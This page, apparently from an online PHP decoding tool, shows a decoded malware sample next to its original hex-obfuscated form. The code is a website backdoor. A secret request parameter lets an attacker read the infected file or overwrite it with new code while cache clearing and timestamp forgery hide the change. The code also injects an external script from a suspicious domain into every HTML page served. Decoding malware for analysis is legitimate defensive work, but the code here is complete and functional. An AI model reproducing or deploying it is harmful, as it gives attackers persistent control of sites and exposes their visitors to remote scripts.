Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/*cut here;)*/if(isset($_REQUEST["\x64\x72e\x67\65\x35\143\64\x65\151\163b\156\161\x68\x38..

Decoded Output download

<?  /*cut here;)*/if(isset($_REQUEST["dreg55c4eisbnqh8"])){if(empty($_REQUEST["dreg55c4eisbnqh8"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-LiteSpeed-Purge: *");if(function_exists("opcache_reset")){@opcache_reset();}if(function_exists("apc_clear_cache")){@apc_clear_cache();}$omrb0v=filemtime(__FILE__);$m9e44v=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("H*",$_REQUEST["dreg55c4eisbnqh8"]))));@touch(__FILE__,$omrb0v+1,$m9e44v+1);}die;}if(isset($_SERVER["HTTP_ACCEPT"])&&(strpos($_SERVER["HTTP_ACCEPT"],"text/html")!==false||$_SERVER["HTTP_ACCEPT"]==="*/*")){function fufb19($omrb0v){return str_replace("</head>","<script type='text/javascript' async src='https://gw1lkjwx.cloudfire.quest/challenge.js'></script></head>",$omrb0v);}ob_start("fufb19");}/*cut here;)*/ ?>

Did this file decode correctly?

Original Code

/*cut here;)*/if(isset($_REQUEST["\x64\x72e\x67\65\x35\143\64\x65\151\163b\156\161\x68\x38"])){if(empty($_REQUEST["\144\x72\x65\1475\x35c\64ei\x73\x62\x6e\161\x68\70"])){echo bin2hex(gzdeflate(file_get_contents(__FILE__)));}else{header("X-\114iteS\x70\x65e\144\x2dP\165\x72ge\72\x20\52");if(function_exists("\157\x70\x63\x61\143\x68\145\x5fr\145se\x74")){@opcache_reset();}if(function_exists("\141p\143\137\x63le\141\x72_c\141\x63\x68\x65")){@apc_clear_cache();}$omrb0v=filemtime(__FILE__);$m9e44v=fileatime(__FILE__);echo strval(file_put_contents(__FILE__,gzinflate(pack("\110\x2a",$_REQUEST["\x64\x72\145\x675\65\143\64e\151\163b\x6eq\x68\x38"]))));@touch(__FILE__,$omrb0v+1,$m9e44v+1);}die;}if(isset($_SERVER["\x48\x54\x54\x50_\101\103\103\x45\120T"])&&(strpos($_SERVER["H\x54\x54P\x5f\x41\x43C\105P\124"],"\164ex\164\x2f\x68\164m\154")!==false||$_SERVER["\x48\124\124\120\x5fA\103\103\x45P\124"]==="\x2a\57\52")){function fufb19($omrb0v){return str_replace("<\57\x68ea\144\76","\74\163\x63ript typ\145\75\x27\164e\x78\164\57\x6a\141va\x73c\x72\151\160\164' a\163\171n\143 \x73rc='h\164\164\x70\163:\57\57\147w\x31\154kj\167x\56\143lo\x75\x64\146i\x72\145.q\165\x65s\x74\x2f\143\x68all\x65n\147\x65.j\x73\47\76\74\x2f\x73\143\x72\151p\164\x3e\x3c\x2fhe\141\x64\76",$omrb0v);}ob_start("\146u\x66\142\61\x39");}/*cut here;)*/

Function Calls

strpos 1

Variables

None

Stats

MD5 05af2a5ec05c63c0c8fdc9900b49aea6
Eval Count 0
Decode Time 63 ms